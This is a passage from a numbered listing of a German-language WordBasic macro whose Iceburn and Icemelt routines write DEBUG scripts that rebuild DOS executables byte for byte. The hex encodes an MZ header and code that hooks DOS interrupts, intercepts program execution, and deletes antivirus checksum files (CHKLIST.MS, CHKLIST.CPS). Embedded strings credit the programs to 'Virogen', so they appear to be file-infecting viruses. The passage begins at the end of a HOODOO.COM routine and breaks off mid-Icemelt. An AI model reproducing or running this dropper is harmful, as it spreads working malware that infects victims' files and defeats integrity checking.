  3681. EinfügenAbsatz
  3682. Einfügen "Print #1," + Chr$(34) + "E 0B20 17 9C 58 88 A4 32 0B E2 EE C3 00 00 00 00 00 00" + Chr$(34)
  3683. EinfügenAbsatz
  3684. Einfügen "Print #1," + Chr$(34) + "E 0B30 00 00 00 00 00 00 B8 00 4C CD 21" + Chr$(34)
  3685. EinfügenAbsatz
  3686. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  3687. EinfügenAbsatz
  3688. Einfügen "Print #1," + Chr$(34) + "0A3B" + Chr$(34)
  3689. EinfügenAbsatz
  3690. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  3691. EinfügenAbsatz
  3692. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  3693. EinfügenAbsatz
  3694. Einfügen "Close #1"
  3695. EinfügenAbsatz
  3696. Einfügen "c$ = " + Chr$(34) + "HOODOO.COM" + Chr$(34)
  3697. Finished
  3698. End Sub
  3699.  
  3700. Sub Iceburn
  3701. Install
  3702. Einfügen "Print #1," + Chr$(34) + "N ICEBURN.COM" + Chr$(34)
  3703. EinfügenAbsatz
  3704. Einfügen "Print #1," + Chr$(34) + "E 0100 4D 5A ED 00 03 00 00 00 20 00 00 00 FF FF 00 00" + Chr$(34)
  3705. EinfügenAbsatz
  3706. Einfügen "Print #1," + Chr$(34) + "E 0110 00 00 00 00 00 00 00 00 3E 00 00 00 01 00 FB 50" + Chr$(34)
  3707. EinfügenAbsatz
  3708. Einfügen "Print #1," + Chr$(34) + "E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3709. EinfügenAbsatz
  3710. Einfügen "Print #1," + Chr$(34) + "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3711. EinfügenAbsatz
  3712. Einfügen "Print #1," + Chr$(34) + "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3713. EinfügenAbsatz
  3714. Einfügen "Print #1," + Chr$(34) + "E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3715. EinfügenAbsatz
  3716. Einfügen "Print #1," + Chr$(34) + "E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3717. EinfügenAbsatz
  3718. Einfügen "Print #1," + Chr$(34) + "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3719. EinfügenAbsatz
  3720. Einfügen "Print #1," + Chr$(34) + "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3721. EinfügenAbsatz
  3722. Einfügen "Print #1," + Chr$(34) + "E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3723. EinfügenAbsatz
  3724. Einfügen "Print #1," + Chr$(34) + "E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3725. EinfügenAbsatz
  3726. Einfügen "Print #1," + Chr$(34) + "E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3727. EinfügenAbsatz
  3728. Einfügen "Print #1," + Chr$(34) + "E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3729. EinfügenAbsatz
  3730. Einfügen "Print #1," + Chr$(34) + "E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3731. EinfügenAbsatz
  3732. Einfügen "Print #1," + Chr$(34) + "E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3733. EinfügenAbsatz
  3734. Einfügen "Print #1," + Chr$(34) + "E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3735. EinfügenAbsatz
  3736. Einfügen "Print #1," + Chr$(34) + "E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3737. EinfügenAbsatz
  3738. Einfügen "Print #1," + Chr$(34) + "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3739. EinfügenAbsatz
  3740. Einfügen "Print #1," + Chr$(34) + "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3741. EinfügenAbsatz
  3742. Einfügen "Print #1," + Chr$(34) + "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3743. EinfügenAbsatz
  3744. Einfügen "Print #1," + Chr$(34) + "E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3745. EinfügenAbsatz
  3746. Einfügen "Print #1," + Chr$(34) + "E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3747. EinfügenAbsatz
  3748. Einfügen "Print #1," + Chr$(34) + "E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3749. EinfügenAbsatz
  3750. Einfügen "Print #1," + Chr$(34) + "E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3751. EinfügenAbsatz
  3752. Einfügen "Print #1," + Chr$(34) + "E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3753. EinfügenAbsatz
  3754. Einfügen "Print #1," + Chr$(34) + "E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3755. EinfügenAbsatz
  3756. Einfügen "Print #1," + Chr$(34) + "E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3757. EinfügenAbsatz
  3758. Einfügen "Print #1," + Chr$(34) + "E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3759. EinfügenAbsatz
  3760. Einfügen "Print #1," + Chr$(34) + "E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3761. EinfügenAbsatz
  3762. Einfügen "Print #1," + Chr$(34) + "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3763. EinfügenAbsatz
  3764. Einfügen "Print #1," + Chr$(34) + "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3765. EinfügenAbsatz
  3766. Einfügen "Print #1," + Chr$(34) + "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3767. EinfügenAbsatz
  3768. Einfügen "Print #1," + Chr$(34) + "E 0300 1E 06 46 B8 00 10 05 01 EA BA 45 59 B3 11 CD 21" + Chr$(34)
  3769. EinfügenAbsatz
  3770. Einfügen "Print #1," + Chr$(34) + "E 0310 E8 00 00 5D 81 ED 13 00 0B F6 74 63 E8 8E 00 2E" + Chr$(34)
  3771. EinfügenAbsatz
  3772. Einfügen "Print #1," + Chr$(34) + "E 0320 C6 86 B1 02 00 90 B4 2A CD 21 80 FA 02 75 07 2E" + Chr$(34)
  3773. EinfügenAbsatz
  3774. Einfügen "Print #1," + Chr$(34) + "E 0330 C6 86 B1 02 01 90 8C D8 48 8E D8 80 3E 00 00 5A" + Chr$(34)
  3775. EinfügenAbsatz
  3776. Einfügen "Print #1," + Chr$(34) + "E 0340 75 3D 81 2E 03 00 80 01 81 2E 12 00 80 01 8E 06" + Chr$(34)
  3777. EinfügenAbsatz
  3778. Einfügen "Print #1," + Chr$(34) + "E 0350 12 00 0E 1F 8B F5 B9 E6 04 33 FF F3 A5 33 C0 8E" + Chr$(34)
  3779. EinfügenAbsatz
  3780. Einfügen "Print #1," + Chr$(34) + "E 0360 D8 1E C5 06 84 00 26 8C 1E AC 02 26 A3 AA 02 1F" + Chr$(34)
  3781. EinfügenAbsatz
  3782. Einfügen "Print #1," + Chr$(34) + "E 0370 8C 06 86 00 C7 06 84 00 55 02 80 2E 13 04 06 07" + Chr$(34)
  3783. EinfügenAbsatz
  3784. Einfügen "Print #1," + Chr$(34) + "E 0380 1F 2E 80 BE AA 00 01 74 11 8D B6 CF 02 BF 00 01" + Chr$(34)
  3785. EinfügenAbsatz
  3786. Einfügen "Print #1," + Chr$(34) + "E 0390 B9 02 00 F3 A5 B8 00 01 50 C3 8C D9 83 C1 10 2E" + Chr$(34)
  3787. EinfügenAbsatz
  3788. Einfügen "Print #1," + Chr$(34) + "E 03A0 01 8E A8 00 CC EA 00 00 00 00 00 33 ED BE 1F 00" + Chr$(34)
  3789. EinfügenAbsatz
  3790. Einfügen "Print #1," + Chr$(34) + "E 03B0 03 F5 B9 60 00 2E 80 86 BD 00 10 CC 2E 70 34 00" + Chr$(34)
  3791. EinfügenAbsatz
  3792. Einfügen "Print #1," + Chr$(34) + "E 03C0 46 E2 F9 2E 80 AE BD 00 10 C3 52 5E 1E 33 C0 8E" + Chr$(34)
  3793. EinfügenAbsatz
  3794. Einfügen "Print #1," + Chr$(34) + "E 03D0 C0 26 C5 06 90 00 2E A3 E9 02 2E 8C 1E EB 02 26" + Chr$(34)
  3795. EinfügenAbsatz
  3796. Einfügen "Print #1," + Chr$(34) + "E 03E0 8C 0E 92 00 26 C7 06 90 00 AE 02 1F 06 0E 07 B8" + Chr$(34)
  3797. EinfügenAbsatz
  3798. Einfügen "Print #1," + Chr$(34) + "E 03F0 00 43 CD 21 B8 01 43 50 51 33 C9 CD 21 B8 02 3D" + Chr$(34)
  3799. EinfügenAbsatz
  3800. Einfügen "Print #1," + Chr$(34) + "E 0400 CD 21 72 6C 8B D8 0E 1F E8 1B 01 B4 3F B9 20 00" + Chr$(34)
  3801. EinfügenAbsatz
  3802. Einfügen "Print #1," + Chr$(34) + "E 0410 BA CF 02 CD 21 80 3E CF 02 4D 74 63 80 3E D2 02" + Chr$(34)
  3803. EinfügenAbsatz
  3804. Einfügen "Print #1," + Chr$(34) + "E 0420 00 74 45 C6 06 AA 00 00 B8 00 57 CD 21 51 52 E8" + Chr$(34)
  3805. EinfügenAbsatz
  3806. Einfügen "Print #1," + Chr$(34) + "E 0430 E9 00 50 BE 00 00 BF CA 09 57 B9 CA 09 8B D0 81" + Chr$(34)
  3807. EinfügenAbsatz
  3808. Einfügen "Print #1," + Chr$(34) + "E 0440 C2 00 01 B0 0B E8 00 00 5A B4 40 CD 21 E8 C6 00" + Chr$(34)
  3809. EinfügenAbsatz
  3810. Einfügen "Print #1," + Chr$(34) + "E 0450 58 2D 03 00 A3 CA 02 BA C9 02 B9 04 00 B4 40 CD" + Chr$(34)
  3811. EinfügenAbsatz
  3812. Einfügen "Print #1," + Chr$(34) + "E 0460 21 5A 59 B8 01 57 CD 21 59 58 CD 21 B4 3E CD 21" + Chr$(34)
  3813. EinfügenAbsatz
  3814. Einfügen "Print #1," + Chr$(34) + "E 0470 07 C5 06 E9 02 26 A3 90 00 26 8C 1E 92 00 C3 83" + Chr$(34)
  3815. EinfügenAbsatz
  3816. Einfügen "Print #1," + Chr$(34) + "E 0480 3E E1 02 00 75 E2 80 3E E7 02 52 74 07 80 3E E7" + Chr$(34)
  3817. EinfügenAbsatz
  3818. Einfügen "Print #1," + Chr$(34) + "E 0490 02 40 7D D4 53 B4 2C CD 21 89 16 E1 02 C6 06 AA" + Chr$(34)
  3819. EinfügenAbsatz
  3820. Einfügen "Print #1," + Chr$(34) + "E 04A0 00 01 C4 06 E3 02 A3 A6 00 8C 06 A8 00 0E 07 E8" + Chr$(34)
  3821. EinfügenAbsatz
  3822. Einfügen "Print #1," + Chr$(34) + "E 04B0 69 00 52 50 8B 1E D7 02 B1 04 D3 E3 2B C3 83 DA" + Chr$(34)
  3823. EinfügenAbsatz
  3824. Einfügen "Print #1," + Chr$(34) + "E 04C0 00 B9 10 00 F7 F1 89 16 E3 02 A3 E5 02 89 16 CD" + Chr$(34)
  3825. EinfügenAbsatz
  3826. Einfügen "Print #1," + Chr$(34) + "E 04D0 02 58 5A 5B B9 DA 09 13 C1 B1 09 50 D3 E8 D3 CA" + Chr$(34)
  3827. EinfügenAbsatz
  3828. Einfügen "Print #1," + Chr$(34) + "E 04E0 F9 13 D0 58 80 E4 01 89 16 D3 02 A3 D1 02 BE 00" + Chr$(34)
  3829. EinfügenAbsatz
  3830. Einfügen "Print #1," + Chr$(34) + "E 04F0 00 BF CA 09 57 B9 CA 09 8B 16 CD 02 B0 0A E8 00" + Chr$(34)
  3831. EinfügenAbsatz
  3832. Einfügen "Print #1," + Chr$(34) + "E 0500 00 5A B4 40 CD 21 E8 0D 00 B9 18 00 BA CF 02 B4" + Chr$(34)
  3833. EinfügenAbsatz
  3834. Einfügen "Print #1," + Chr$(34) + "E 0510 40 CD 21 E9 52 FF 32 C0 EB 03 90 B0 02 B4 42 33" + Chr$(34)
  3835. EinfügenAbsatz
  3836. Einfügen "Print #1," + Chr$(34) + "E 0520 C9 33 D2 CD 21 C3 BF 02 00 BA 3E 02 B8 01 43 33" + Chr$(34)
  3837. EinfügenAbsatz
  3838. Einfügen "Print #1," + Chr$(34) + "E 0530 C9 CD 21 B4 41 CD 21 BA 49 02 4F 75 EF C3 43 48" + Chr$(34)
  3839. EinfügenAbsatz
  3840. Einfügen "Print #1," + Chr$(34) + "E 0540 4B 4C 49 53 54 2E 4D 53 00 43 48 4B 4C 49 53 54" + Chr$(34)
  3841. EinfügenAbsatz
  3842. Einfügen "Print #1," + Chr$(34) + "E 0550 2E 43 50 53 00 9C 3D 01 FA 75 13 81 FA 45 59 75" + Chr$(34)
  3843. EinfügenAbsatz
  3844. Einfügen "Print #1," + Chr$(34) + "E 0560 0D 80 FB 11 75 08 33 F6 BF 59 45 EB 3B 90 2E 80" + Chr$(34)
  3845. EinfügenAbsatz
  3846. Einfügen "Print #1," + Chr$(34) + "E 0570 3E B1 02 00 74 07 80 FC 40 75 2D 33 D2 3D 00 4B" + Chr$(34)
  3847. EinfügenAbsatz
  3848. Einfügen "Print #1," + Chr$(34) + "E 0580 75 26 50 53 51 57 52 56 1E 06 55 52 B4 2C CD 21" + Chr$(34)
  3849. EinfügenAbsatz
  3850. Einfügen "Print #1," + Chr$(34) + "E 0590 2E 88 16 BF 00 5A E8 12 FE E8 2E FE E8 0C FE 5D" + Chr$(34)
  3851. EinfügenAbsatz
  3852. Einfügen "Print #1," + Chr$(34) + "E 05A0 07 1F 5E 5A 5F 59 5B 58 9D EA 00 00 00 00 B0 03" + Chr$(34)
  3853. EinfügenAbsatz
  3854. Einfügen "Print #1," + Chr$(34) + "E 05B0 CF 00 B4 02 5B 49 63 65 42 75 72 6E 2C 20 62 79" + Chr$(34)
  3855. EinfügenAbsatz
  3856. Einfügen "Print #1," + Chr$(34) + "E 05C0 20 FB 69 72 6F 67 65 6E 5D E9 00 00 00 00 00 CD" + Chr$(34)
  3857. EinfügenAbsatz
  3858. Einfügen "Print #1," + Chr$(34) + "E 05D0 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3859. EinfügenAbsatz
  3860. Einfügen "Print #1," + Chr$(34) + "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3861. EinfügenAbsatz
  3862. Einfügen "Print #1," + Chr$(34) + "RCX" + Chr$(34)
  3863. EinfügenAbsatz
  3864. Einfügen "Print #1," + Chr$(34) + "04ED" + Chr$(34)
  3865. EinfügenAbsatz
  3866. Einfügen "Print #1," + Chr$(34) + "W" + Chr$(34)
  3867. EinfügenAbsatz
  3868. Einfügen "Print #1," + Chr$(34) + "Q" + Chr$(34)
  3869. EinfügenAbsatz
  3870. Einfügen "Close #1"
  3871. EinfügenAbsatz
  3872. Einfügen "c$ = " + Chr$(34) + "ICEBURN.COM" + Chr$(34)
  3873. Finished
  3874. End Sub
  3875.  
  3876. Sub Icemelt
  3877. Install
  3878. Einfügen "Print #1," + Chr$(34) + "N ICEMELT.COM" + Chr$(34)
  3879. EinfügenAbsatz
  3880. Einfügen "Print #1," + Chr$(34) + "E 0100 4D 5A 20 01 06 00 00 00 20 00 00 00 FF FF 00 00" + Chr$(34)
  3881. EinfügenAbsatz
  3882. Einfügen "Print #1," + Chr$(34) + "E 0110 00 00 00 00 00 00 00 00 3E 00 00 00 01 00 FB 50" + Chr$(34)
  3883. EinfügenAbsatz
  3884. Einfügen "Print #1," + Chr$(34) + "E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3885. EinfügenAbsatz
  3886. Einfügen "Print #1," + Chr$(34) + "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3887. EinfügenAbsatz
  3888. Einfügen "Print #1," + Chr$(34) + "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3889. EinfügenAbsatz
  3890. Einfügen "Print #1," + Chr$(34) + "E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3891. EinfügenAbsatz
  3892. Einfügen "Print #1," + Chr$(34) + "E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3893. EinfügenAbsatz
  3894. Einfügen "Print #1," + Chr$(34) + "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3895. EinfügenAbsatz
  3896. Einfügen "Print #1," + Chr$(34) + "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3897. EinfügenAbsatz
  3898. Einfügen "Print #1," + Chr$(34) + "E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3899. EinfügenAbsatz
  3900. Einfügen "Print #1," + Chr$(34) + "E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3901. EinfügenAbsatz
  3902. Einfügen "Print #1," + Chr$(34) + "E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3903. EinfügenAbsatz
  3904. Einfügen "Print #1," + Chr$(34) + "E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3905. EinfügenAbsatz
  3906. Einfügen "Print #1," + Chr$(34) + "E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3907. EinfügenAbsatz
  3908. Einfügen "Print #1," + Chr$(34) + "E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3909. EinfügenAbsatz
  3910. Einfügen "Print #1," + Chr$(34) + "E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3911. EinfügenAbsatz
  3912. Einfügen "Print #1," + Chr$(34) + "E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3913. EinfügenAbsatz
  3914. Einfügen "Print #1," + Chr$(34) + "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3915. EinfügenAbsatz
  3916. Einfügen "Print #1," + Chr$(34) + "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3917. EinfügenAbsatz
  3918. Einfügen "Print #1," + Chr$(34) + "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3919. EinfügenAbsatz
  3920. Einfügen "Print #1," + Chr$(34) + "E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3921. EinfügenAbsatz
  3922. Einfügen "Print #1," + Chr$(34) + "E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3923. EinfügenAbsatz
  3924. Einfügen "Print #1," + Chr$(34) + "E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3925. EinfügenAbsatz
  3926. Einfügen "Print #1," + Chr$(34) + "E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3927. EinfügenAbsatz
  3928. Einfügen "Print #1," + Chr$(34) + "E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3929. EinfügenAbsatz
  3930. Einfügen "Print #1," + Chr$(34) + "E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3931. EinfügenAbsatz
  3932. Einfügen "Print #1," + Chr$(34) + "E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3933. EinfügenAbsatz
  3934. Einfügen "Print #1," + Chr$(34) + "E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3935. EinfügenAbsatz
  3936. Einfügen "Print #1," + Chr$(34) + "E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3937. EinfügenAbsatz
  3938. Einfügen "Print #1," + Chr$(34) + "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3939. EinfügenAbsatz
  3940. Einfügen "Print #1," + Chr$(34) + "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3941. EinfügenAbsatz
  3942. Einfügen "Print #1," + Chr$(34) + "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" + Chr$(34)
  3943. EinfügenAbsatz
  3944. Einfügen "Print #1," + Chr$(34) + "E 0300 1E 06 46 B8 00 10 05 01 EA BA 45 59 B3 11 CD 21" + Chr$(34)
  3945. EinfügenAbsatz
  3946. Einfügen "Print #1," + Chr$(34) + "E 0310 E8 00 00 5D 81 ED 13 00 0B F6 74 63 E8 8E 00 2E" + Chr$(34)
  3947. EinfügenAbsatz
  3948. Einfügen "Print #1," + Chr$(34) + "E 0320 C6 86 B4 02 00 90 B4 2A CD 21 80 FA 02 75 07 2E" + Chr$(34)
  3949. EinfügenAbsatz
  3950. Einfügen "Print #1," + Chr$(34) + "E 0330 C6 86 B4 02 01 90 8C D8 48 8E D8 80 3E 00 00 5A" + Chr$(34)
  3951. EinfügenAbsatz
  3952. Einfügen "Print #1," + Chr$(34) + "E 0340 75 3D 81 2E 03 00 80 01 81 2E 12 00 80 01 8E 06" + Chr$(34)
  3953. EinfügenAbsatz
  3954. Einfügen "Print #1," + Chr$(34) + "E 0350 12 00 0E 1F 8B F5 B9 EF 04 33 FF F3 A5 33 C0 8E" + Chr$(34)
  3955. EinfügenAbsatz
  3956. Einfügen "Print #1," + Chr$(34) + "E 0360 D8 1E C5 06 84 00 26 8C 1E AF 02 26 A3 AD 02 1F" + Chr$(34)
  3957. EinfügenAbsatz
  3958. Einfügen "Print #1," + Chr$(34) + "E 0370 8C 06 86 00 C7 06 84 00 55 02 80 2E 13 04 06 07" + Chr$(34)
  3959. EinfügenAbsatz
  3960. Einfügen "Print #1," + Chr$(34) + "E 0380 1F 2E 80 BE AA 00 01 74 11 8D B6 D2 02 BF 00 01" + Chr$(34)
  3961. EinfügenAbsatz
  3962. Einfügen "Print #1," + Chr$(34) + "E 0390 B9 02 00 F3 A5 B8 00 01 50 C3 8C D9 83 C1 10 2E" + Chr$(34)
  3963. EinfügenAbsatz
  3964. Einfügen "Print #1," + Chr$(34) + "E 03A0 01 8E A8 00 CC EA 00 00 00 00 00 33 ED BE 1F 00" + Chr$(34)
  3965. EinfügenAbsatz
  3966. Einfügen "Print #1," + Chr$(34) + "E 03B0 03 F5 B9 60 00 2E 80 86 BD 00 10 CC 2E 70 34 00" + Chr$(34)
  3967. EinfügenAbsatz
  3968. Einfügen "Print #1," + Chr$(34) + "E 03C0 46 E2 F9 2E 80 AE BD 00 10 C3 52 5E 1E 33 C0 8E" + Chr$(34)
  3969. EinfügenAbsatz
  3970. Einfügen "Print #1," + Chr$(34) + "E 03D0 C0 26 C5 06 90 00 2E A3 EC 02 2E 8C 1E EE 02 26" + Chr$(34)
  3971. EinfügenAbsatz
  3972. Einfügen "Print #1," + Chr$(34) + "E 03E0 8C 0E 92 00 26 C7 06 90 00 B1 02 1F 06 0E 07 B8" + Chr$(34)
  3973. EinfügenAbsatz
  3974. Einfügen "Print #1," + Chr$(34) + "E 03F0 00 43 CD 21 B8 01 43 50 51 33 C9 CD 21 B8 02 3D" + Chr$(34)
  3975. EinfügenAbsatz
  3976. Einfügen "Print #1," + Chr$(34) + "E 0400 CD 21 72 6C 8B D8 0E 1F E8 1B 01 B4 3F B9 20 00" + Chr$(34)
  3977. EinfügenAbsatz
  3978. Einfügen "Print #1," + Chr$(34) + "E 0410 BA D2 02 CD 21 80 3E D2 02 4D 74 63 80 3E D5 02" + Chr$(34)
  3979. EinfügenAbsatz
  3980. Einfügen "Print #1," + Chr$(34) + "E 0420 00 74 45 C6 06 AA 00 00 B8 00 57 CD 21 51 52 E8" + Chr$(34)
  3981. EinfügenAbsatz
  3982. Einfügen "Print #1," + Chr$(34) + "E 0430 E9 00 50 BE 00 00 BF DC 09 57 B9 DC 09 8B D0 81" + Chr$(34)
  3983. EinfügenAbsatz
  3984. Einfügen "Print #1," + Chr$(34) + "E 0440 C2 00 01 B0 01 E8 A8 01 5A B4 40 CD 21 E8 C6 00" + Chr$(34)
  3985. EinfügenAbsatz
  3986. Einfügen "Print #1," + Chr$(34) + "E 0450 58 2D 03 00 A3 CD 02 BA CC 02 B9 04 00 B4 40 CD" + Chr$(34)
  3987. EinfügenAbsatz
  3988. Einfügen "Print #1," + Chr$(34) + "E 0460 21 5A 59 B8 01 57 CD 21 59 58 CD 21 B4 3E CD 21" + Chr$(34)
  3989. EinfügenAbsatz
  3990. Einfügen "Print #1," + Chr$(34) + "E 0470 07 C5 06 EC 02 26 A3 90 00 26 8C 1E 92 00 C3 83" + Chr$(34)
  3991. EinfügenAbsatz
  3992. Einfügen "Print #1," + Chr$(34) + "E 0480 3E E4 02 00 75 E2 80 3E EA 02 52 74 07 80 3E EA" + Chr$(34)
  3993. EinfügenAbsatz
  3994. Einfügen "Print #1," + Chr$(34) + "E 0490 02 40 7D D4 53 B4 2C CD 21 89 16 E4 02 C6 06 AA" + Chr$(34)
  3995. EinfügenAbsatz
  3996. Einfügen "Print #1," + Chr$(34) + "E 04A0 00 01 C4 06 E6 02 A3 A6 00 8C 06 A8 00 0E 07 E8" + Chr$(34)
  3997. EinfügenAbsatz
  3998. Einfügen "Print #1," + Chr$(34) + "E 04B0 69 00 52 50 8B 1E DA 02 B1 04 D3 E3 2B C3 83 DA" + Chr$(34)
  3999. EinfügenAbsatz
  4000. Einfügen "Print #1," + Chr$(34) + "E 04C0 00 B9 10 00 F7 F1 89 16 E6 02 A3 E8 02 89 16 D0" + Chr$(34)
  4001. EinfügenAbsatz
  4002. Einfügen "Print #1," + Chr$(34) + "E 04D0 02 58 5A 5B B9 EC 09 13 C1 B1 09 50 D3 E8 D3 CA" + Chr$(34)
  4003. EinfügenAbsatz
  4004. Einfügen "Print #1," + Chr$(34) + "E 04E0 F9 13 D0 58 80 E4 01 89 16 D6 02 A3 D4 02 BE 00" + Chr$(34)
  4005. EinfügenAbsatz
  4006. Einfügen "Print #1," + Chr$(34) + "E 04F0 00 BF DC 09 57 B9 DC 09 8B 16 D0 02 B0 00 E8 EF" + Chr$(34)
  4007. EinfügenAbsatz
  4008. Einfügen "Print #1," + Chr$(34) + "E 0500 00 5A B4 40 CD 21 E8 0D 00 B9 18 00 BA D2 02 B4" + Chr$(34)
  4009. EinfügenAbsatz
  4010. Einfügen "Print #1," + Chr$(34) + "E 0510 40 CD 21 E9 52 FF 32 C0 EB 03 90 B0 02 B4 42 33" + Chr$(34)
  4011. EinfügenAbsatz
  4012. Einfügen "Print #1," + Chr$(34) + "E 0520 C9 33 D2 CD 21 C3 BF 02 00 BA 3E 02 B8 01 43 33" + Chr$(34)
  4013. EinfügenAbsatz
  4014. Einfügen "Print #1," + Chr$(34) + "E 0530 C9 CD 21 B4 41 CD 21 BA 49 02 4F 75 EF C3 43 48" + Chr$(34)
  4015. EinfügenAbsatz
  4016. Einfügen "Print #1," + Chr$(34) + "E 0540 4B 4C 49 53 54 2E 4D 53 00 43 48 4B 4C 49 53 54" + Chr$(34)
  4017. EinfügenAbsatz
  4018. Einfügen "Print #1," + Chr$(34) + "E 0550 2E 43 50 53 00 9C 3D 01 FA 75 13 81 FA 45 59 75" + Chr$(34)
  4019. EinfügenAbsatz
  4020. Einfügen "Print #1," + Chr$(34) + "E 0560 0D 80 FB 11 75 08 33 F6 BF 59 45 EB 3E 90 2E 80" + Chr$(34)
  4021. EinfügenAbsatz
  4022. Einfügen "Print #1," + Chr$(34) + "E 0570 3E B4 02 00 74 0A 80 FC 40 75 30 BA B7 02 0E 1F" + Chr$(34)
  4023. EinfügenAbsatz
  4024. Einfügen "Print #1," + Chr$(34) + "E 0580 3D 00 4B 75 26 50 53 51 57 52 56 1E 06 55 52 B4" + Chr$(34)
  4025. EinfügenAbsatz
  4026. Einfügen "Print #1," + Chr$(34) + "E 0590 2C CD 21 2E 88 16 BF 00 5A E8 0F FE E8 2B FE E8" + Chr$(34)
  4027. EinfügenAbsatz
  4028. Einfügen "Print #1," + Chr$(34) + "E 05A0 09 FE 5D 07 1F 5E 5A 5F 59 5B 58 9D EA 00 00 00" + Chr$(34)
  4029. EinfügenAbsatz
  4030. Einfügen "Print #1," + Chr$(34) + "E 05B0 00 B0 03 CF 00 B7 02 5B 49 63 65 4D 65 6C 74 2C" + Chr$(34)
  4031. EinfügenAbsatz
  4032. Einfügen "Print #1," + Chr$(34) + "E 05C0 20 62 79 20 FB 69 72 6F 67 65 6E 5D E9 00 00 00" + Chr$(34)
